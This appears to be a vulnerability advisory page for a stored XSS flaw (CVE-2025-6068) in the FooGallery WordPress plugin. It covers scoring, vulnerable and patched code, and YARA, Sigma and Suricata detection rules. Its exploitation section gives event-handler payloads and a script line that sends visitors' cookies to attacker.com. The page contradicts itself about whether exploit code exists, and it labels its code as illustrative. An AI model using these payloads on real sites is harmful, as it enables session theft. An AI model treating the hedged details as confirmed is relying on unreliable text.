CVE-2025-6068
Executive Summary
CVE-2025-6068 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the FooGallery – Responsive Photo Gallery, Image Viewer, Justified, Masonry & Carousel plugin for WordPress, up to and including version 2.4.31. The flaw resides in insufficient input sanitization and output escaping of the data-caption-title and data-caption-description HTML attributes. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts that execute when any user visits a page containing the malicious gallery. This is a WordPress ecosystem issue; the vulnerability is introduced by the plugin itself, not the underlying web server.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed through the WordPress admin dashboard. Users should verify the integrity of their plugin files and ensure they are sourced from the official repository. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: Required (victim must visit the page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the potential for persistent script injection in a widely-used gallery plugin poses a significant risk to site visitors and administrators.
Deep Dive & Mechanics
The FooGallery plugin renders image galleries using custom HTML attributes data-caption-title and data-caption-description to store caption information. These attributes are populated from user input when creating or editing a gallery. The plugin fails to properly sanitize and escape this input before storing it in the database and later rendering it in the browser.
Attack Flow:
- An authenticated user with Contributor-level or higher privileges creates or edits a gallery.
- The attacker injects malicious JavaScript into the
data-caption-titleordata-caption-descriptionfields. - The plugin stores the unsanitized payload in the WordPress database.
- When any user (including administrators or visitors) views the gallery page, the browser parses the malicious HTML attribute and executes the injected script.
- The script can steal cookies, redirect users, deface the page, or perform actions on behalf of the victim.
Root Cause: The plugin uses esc_attr() or similar escaping functions incorrectly, or fails to escape the attribute values entirely. The data-* attributes are not inherently dangerous, but when they contain unescaped HTML or JavaScript, they become vectors for XSS.
Vulnerable vs. Patched Code
Vulnerable Code (simplified example from FooGallery <= 2.4.31):
// In gallery template rendering
echo '<img src="' . $image_url . '" data-caption-title="' . $caption_title . '" data-caption-description="' . $caption_description . '" />';
Here, $caption_title and $caption_description are not sanitized or escaped.
Patched Code (expected fix):
// Properly escape output
echo '<img src="' . esc_url($image_url) . '" data-caption-title="' . esc_attr($caption_title) . '" data-caption-description="' . esc_attr($caption_description) . '" />';
The patched version uses esc_attr() to escape the attribute values, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with FooGallery plugin version <= 2.4.31
- Authenticated user account with Contributor-level or higher privileges
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Navigate to FooGallery > Add Gallery or edit an existing gallery.
- In the caption fields (title or description), inject a payload such as:
Or a more sophisticated payload:" onmouseover="alert('XSS')""><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the gallery.
- When any user visits the page containing the gallery, the script executes.
Example Payload for data-caption-title:
" autofocus onfocus="alert(document.cookie)
Note: No public exploit code is available at this time.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual content in
data-caption-titleanddata-caption-descriptionattributes in gallery posts. - Look for script tags or event handlers (e.g.,
onmouseover,onfocus) in these fields. - Use Web Application Firewall (WAF) rules to block common XSS patterns in POST requests to gallery endpoints.
Hardening:
- Update the plugin to the latest patched version once available.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Use WordPress security plugins that scan for malicious content.
Indicators of Compromise (IOCs)
- File Indicators:
- Modified gallery posts containing
<script>tags or event handlers indata-caption-titleordata-caption-description.
- Modified gallery posts containing
- Network Indicators:
- Outbound connections to attacker-controlled domains from the WordPress server.
- Unusual HTTP requests to
/wp-admin/admin-ajax.phpor gallery endpoints with XSS payloads.
- Log Indicators:
- WordPress audit logs showing gallery edits by Contributor-level users with suspicious caption content.
- Web server logs showing requests to gallery pages with encoded XSS payloads.
Detection Engineering
YARA Rule
rule Detect_FooGallery_XSS_DataCaption {
meta:
description = "Detects stored XSS payloads in FooGallery data-caption attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-6068"
strings:
$caption_title = /data-caption-title\s*=\s*"[^"]*<script[^>]*>/
$caption_desc = /data-caption-description\s*=\s*"[^"]*<script[^>]*>/
$event_handler = /on\w+\s*=\s*"[^"]*"/ nocase
condition:
any of ($caption_title, $caption_desc) or $event_handler
}
Sigma Rule
title: FooGallery Stored XSS via data-caption Attributes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in FooGallery plugin data-caption-title and data-caption-description fields
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-6068
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'data-caption-title'
- 'data-caption-description'
cs-uri-query|re:
- '<script'
- 'on\w+='
condition: selection
falsepositives:
- Legitimate use of HTML in captions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-6068 FooGallery Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"data-caption-title"; http_client_body; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the plugin: Check for a patched version of FooGallery. If available, update immediately.
- Restrict user roles: Limit Contributor-level access to only trusted users. Consider using a plugin to restrict capabilities.
- Web Application Firewall (WAF): Deploy WAF rules to block XSS payloads in gallery caption fields.
- Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts.
Long-term Measures:
- Regularly audit WordPress plugins for known vulnerabilities.
- Implement a security plugin that monitors file changes and scans for malicious code.
- Educate users with elevated privileges about the risks of XSS.
Patch Status: As of this report, no official patch has been released. Users should monitor the FooGallery plugin page for updates.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.